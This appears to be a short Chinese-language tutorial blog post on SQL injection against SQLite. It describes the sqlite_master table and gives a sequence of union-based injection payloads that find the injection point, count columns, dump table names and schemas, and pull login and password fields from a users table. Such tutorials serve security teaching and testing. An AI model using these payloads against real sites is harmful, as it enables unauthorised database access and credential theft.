SQLlite注入
基础知识
常用语句及基本结构
sqlite因为其比较简易每个db文件就是一个数据库,所以不存在information_schema数据库,但存在类似作用的表sqlite_master。 该表记录了该库下的所有表,索引,表的创建sql等所以我们可以通过此读取数据。
SQLite含有一张内置表“sqlite_master”,表里存储着type、name、tbl_name、rootpage、sql五个字段。
type列记录了项目的类型,如table、index、view、trigger
tbl_name字段记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身;
name字段记录了项目的名称,如表名、索引名等;
rootpage记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者NULL
sql存放着所有表的创建语句,即表的结构。
常规流程
-
判断注入点
a%' and 1=1 -- -
判断字段数
a%' order by 6 -- -
判断字段显示顺序
a%' union select 1,2,3,4,5 -
爆所有表
a%' union select 1,sqlite_version(),name,4,5,6 from sqlite_master --
-
获取字段
a%' union select 1,sqlite_version(),sql,4,5,6 from sqlite_master -- -
获取信息
a%' union select 1,2,login,password,5,6 from users --
本文介绍了SQLite数据库的SQL注入,重点关注sqlite_master表的作用和结构,以及注入过程中的基础操作,包括判断注入点、字段数、字段显示顺序,以及如何爆表和获取信息。

被折叠的 条评论
为什么被折叠?



